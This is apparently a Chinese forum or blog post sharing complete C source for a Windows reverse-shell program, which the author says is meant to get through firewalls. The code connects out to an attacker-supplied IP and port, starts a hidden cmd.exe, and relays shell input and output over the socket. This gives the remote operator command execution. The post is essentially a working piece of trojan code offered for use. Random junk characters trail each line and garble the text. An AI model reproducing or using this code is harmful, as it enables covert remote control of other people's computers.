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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =7!s8D,[  
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/* ============================== @ZEBtM%.O  
Rebound port in Windows NT py6<QoGV  
By wind,2006/7 a)|y0w)vV  
===============================*/ L : $ `8  
#include a\sK{`|X*  
#include DJGafX^  
*QK) 1Y1W  
#pragma comment(lib,"wsock32.lib") r3V1l8MV  
5(~Lr3v0  
void OutputShell(); kBP?_ O  
SOCKET sClient; i)l0[FNI}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iXWzIb}CJ-  
Om.%K>V  
void main(int argc,char **argv) ]9!y3"..W{  
{ SIK:0>yK"  
WSADATA stWsaData; p22AH%  
int nRet; Q#MB=:0 {  
SOCKADDR_IN stSaiClient,stSaiServer; 3ynkf77cn  
|bk9< i ?  
if(argc != 3) ~[=<O s  
{ = gF035  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6R :hsC$  
return; w!lk&7Q7Z  
} [kg^S`gc#  
qV=:2m10x  
WSAStartup(MAKEWORD(2,2),&stWsaData); Jm!,=} oP'  
?HG[N7=j  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 08\w!!a:  
c b-IRGF  
stSaiClient.sin_family = AF_INET; !mv5i%3  
stSaiClient.sin_port = htons(0); QN*|_H@h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ByY^d#oE  
fz=8"cDR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )at:Xm<s  
{ NX\AQVy9  
printf("Bind Socket Failed!\n"); ,nf}4  
return; >/ _#+,  
} re*Zs}(N\  
@ ]u@e4T  
stSaiServer.sin_family = AF_INET; ^i@anbH  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S(@kdL  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); = #-zK:4  
Y" =8wNbr  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 97Dq;  
{ *VsGa<V  
printf("Connect Error!"); !-MY< '  
return; `BmnXWMgx  
} YCRE-5!  
OutputShell();  hh4R  
} a!R*O3  
1$RJzHS  
void OutputShell() J0V m&TY  
{ aEdA'>  
char szBuff[1024]; f2~Aug  
SECURITY_ATTRIBUTES stSecurityAttributes; !<TkX/O  
OSVERSIONINFO stOsversionInfo; yeyDB>#Va.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xVB rwkk(  
STARTUPINFO stStartupInfo; aV5M}:D  
char *szShell; 0SvPr [ >  
PROCESS_INFORMATION stProcessInformation; /KvJjt'8  
unsigned long lBytesRead; _Q:z -si  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); brp3xgQ`]  
=rymd3/  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0 s+X:*C~  
stSecurityAttributes.lpSecurityDescriptor = 0; uD/@d'd_4L  
stSecurityAttributes.bInheritHandle = TRUE; z5gVP8*z5  
]Ea-MeH  
JDf>Qg{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ![Qi+xyc  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xHt7/8wF  
4Q!A w  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G,>YzjMY`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \k5"&]I3  
stStartupInfo.wShowWindow = SW_HIDE; U!uPf:p2  
stStartupInfo.hStdInput = hReadPipe; Ma!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \^6[^\@[  
2|x !~e.  
GetVersionEx(&stOsversionInfo); %GTFub0 F  
R?u(aY)P  
switch(stOsversionInfo.dwPlatformId) SY|K9$M^  
{ eL~xS: VT  
case 1: 'IY?=#xr'`  
szShell = "command.com"; [.4{s  
break; e1g3a1tnWl  
default: ]AQ}_dRi=  
szShell = "cmd.exe"; fY^CI b$Y  
break; M(L6PyEa!Y  
} LxIGPC~  
3w)r""C&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (s&:D`e  
S3M!"l  
send(sClient,szMsg,77,0); #OPEYJ;*9d  
while(1) ^?RH<z  
{ ~1;M4K  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |8f}3R 9  
if(lBytesRead) .1TuHC\mC  
{ W`PJ flr|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YyYZD{^  
send(sClient,szBuff,lBytesRead,0); ~*bfS}F8I  
} /[dMw *SRz  
else ^R:&c;&,  
{ 7tWC<#  
lBytesRead=recv(sClient,szBuff,1024,0); YzjRD:  
if(lBytesRead<=0) break; /?r A|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T^Ia^B-%}g  
} 8\68NG6o  
} !-t w  
_{c_z*rM8  
return; ATqblU>D  
}
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